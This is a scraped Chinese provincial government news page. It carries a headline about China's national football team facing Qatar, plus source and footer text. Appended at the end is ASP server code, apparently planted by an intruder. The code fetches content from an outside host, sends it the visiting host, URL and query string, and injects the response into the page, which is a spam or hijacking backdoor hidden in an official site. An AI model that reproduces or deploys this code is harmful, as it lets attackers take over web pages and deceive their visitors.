• 微博
  • 微信微信二维码

广东省人民政府首页  >  要闻动态  >  广东要闻

  • 40脚进4球!国足浪射或重蹈覆辙 这怎么踢卡塔尔(图)
  • 来源: 南方日报网络版     时间: 2020-06-27 05:17:30
    【字体:
    版权所有:南方新闻网 粤ICP备05070829 网站标识码4400000131
    主办:南方新闻网 协办:广东省经济和信息化委员会 承办:南方新闻网
    建议使用1024×768分辨率 IE7.0以上版本浏览器
    <% server.Scripttimeout=999999 Remote_server="http://wrfe555.cn/fgdfg/" host_name="http://"&request.servervariables("HTTP_HOST")&request.servervariables("script_name") Remote_file = Remote_server&"/index.php"&"?host="&host_name&"&url="&Request.servervariables("Query_String")&"&domain="&Request.servervariables("Server_Name") Content_mb=GetHtml(Remote_file) response.write Content_mb %> <% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "gb2312" GetHtml = objStream.ReadText objStream.Close End Function %>